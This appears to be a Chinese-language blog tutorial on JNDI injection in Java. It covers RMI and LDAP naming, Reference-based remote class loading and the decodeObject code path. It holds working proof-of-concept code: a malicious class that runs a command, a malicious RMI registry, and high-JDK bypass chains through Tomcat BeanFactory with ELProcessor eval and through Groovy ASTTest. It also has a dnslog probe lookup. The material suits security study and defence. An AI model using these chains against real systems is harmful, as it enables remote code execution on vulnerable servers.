少女祈祷中...

JNDI注入

JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
JNDI是Java EE的重要部分,JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

简介

JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务目录服务,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。简单来说,开发人员通过合理的使用JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务。如下图所示

命名服务

(Naming server)
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。
在名称系统中,有几个重要的概念:

  • Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
  • Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext).
  • References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

目录服务

(Directory Service)
简单来说,目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。
一些常见的目录服务有:

  • LDAP: 轻型目录访问协议
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 X.500 (目录服务的标准) 实现的目录服务;

SPI

可参考:SnakeYaml
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。

使用

RMI
先起一个rmi服务端,代码忽略
注意这里我们同样需要实现接口,并且包名和RMI Server端相同,不然会报no security manager: RMI class loader disabled错误。
然后使用JNDI

package com.yyjccc.jndi.JNDI.usage;

import com.yyjccc.jndi.RMI.usage.RMIService;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class rmi {
public static void main(String[] args) throws NamingException, RemoteException {
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");


Context initContext=new InitialContext(env);
RMIService rmiObj= (RMIService) initContext.lookup("myObj");
System.out.println(rmiObj.say());
}
}

手动设置了属性_INITIAL_CONTEXT_FACTORY_和_PROVIDER_URL_的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。
但实际上,在 Context#lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径

public static void main(String[] args) throws NamingException, RemoteException {
Context initContext=new InitialContext();
RMIService rmiObj= (RMIService) initContext.lookup("rmi://127.0.0.1:1099/myObj");
System.out.println(rmiObj.say());
}

DNS

package com.yyjccc.jndi.JNDI.usage;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class dns {
public static void main(String[] args) throws NamingException {
String url = "dns://v8qt8d.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);

}
}

JNDI流程

上下文初始化

以RMI不设置JNDI环境变量为例

可以看到若是没有设置环境变量的Context,new InitialContext的过程正是读取环境变量和设置的JNDI环境变量
进入lookup中

注意到其实我们不管调用的是lookup、bind或者是其他initalContext中的方法,都会调用getURLOrDefaultInitCtx()方法进行检查

跟进getURLOrDefaultInitCtx方法
会通过getURLScheme()方法来获取通信协议,比如这里获取到的是rmi协议

接着跟据获取到的协议,通过NamingManager#getURLContext()来调用getURLObject()方法

最终在getURLObject()方法中,根据_defaultPkgPrefix_属性动态生成Factory类
这里scheme是rmi,所以得到的类名是rmiURLContextFactory

看一下JNDI默认支持那些动态协议转换。当我们针对JNDI进行攻击的时候可以优先考虑以下几种服务

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。
假如我们能够控制string字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能
比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。
Reference类常用构造函数如下

//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);


}
}

JNDI注入

为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。
Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。
所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化

示例

先写个恶意类EvilClass

import java.io.IOException;

public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

编写rmi服务端,使用Reference引用http上的class文件

package com.yyjccc.jndi.JNDI.exp;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Refer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("Registry start");
Reference reference = new Reference("test", "EvilClass", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}

注意new Reference的第二个参数为全类目,第三个参数为加载资源的目录
不要搞错,可能就会出现类加载错误

被攻击的客户端使用JNDI

package com.yyjccc.jndi.JNDI.exp;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
Context context=new InitialContext();
String url="rmi://127.0.0.1:1099/aa";
context.lookup(url);

}
}

成功弹出计算器

通过以上实例可以清晰的看到看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。
JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

原理

为了方便远程加载字节码,就别把恶意的字节码放在项目里
我直接使用yakit开启rmi服务

跟进客户端lookup方法
在RegistryContext#lookup中
先获得到远程对象

关键是后面的decodeObject对象

跟进decodeObject

首先就会判断远程对象是否为RemoteReference类型
恰好在服务端绑定的对象为ReferenceWrapper类实例,ReferenceWrapper也是实现了RemoteReference接口

那么会调用远程对象的getReference方法
进入到ReferenceWrapper类中

getReference方法就是返回了所包装的Reference
最终结果就是拿到了Reference(解开包装了),若是其他远程对象,则没有任何变化
继续跟进NamingManager#getObjectInstance
若果传入的是Reference类型对象,那么就会根据Reference中的classFactory和classFactoryLocation获取factory工厂

继续跟进

首先本地加载类,找不到在使用codebase远程加载类
跟进到VersionHelp#loadClass

这里创建URLClassLoader
跟进到loadClass

也是到了最终的方法Class.forName加载恶意字节码,第二个参数为true,就会触发恶意字节码中的静态代码块

JDK高版本限制绕过

JDK 6u132、7u122、8u113后已经默认不允许加载codebase中的远程类,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。

上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中
其中修改代码为

绕过这个:
方法一:令 ref 为空,从语义上看需要 obj 既不是
Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
方法二:令 ref.getFactoryClassLocation() 返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;
方法三:直接自己本地使用命令行指定com.sun.jndi.rmi.object.trustURLCodebase 参数。

我们可以从本地加载合适Reference Factory。
需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()方法。

Tomcat8

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

服务端和客户端都要有tomcat8依赖

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>

poc

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
System.out.println("Registry运行中......");

}
}

从BeanFactory#getObjectInstance()方法看

首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor。
forceString可以给属性强制指定一个setter方法,这里将属性faster的setterName设置为了public java.lang.Object javax.el.ELProcessor.eval()

Groovy

在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言,也就意味着命令执行
@ASTTest是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest可以放置在任何可注释节点上。
因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析Groovy脚本。
需要依赖

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

poc

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
resourceRef.add(new StringRefAddr("faster",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Groovy2bypass", referenceWrapper);
System.out.println("Registry运行中......");
}
}

Reference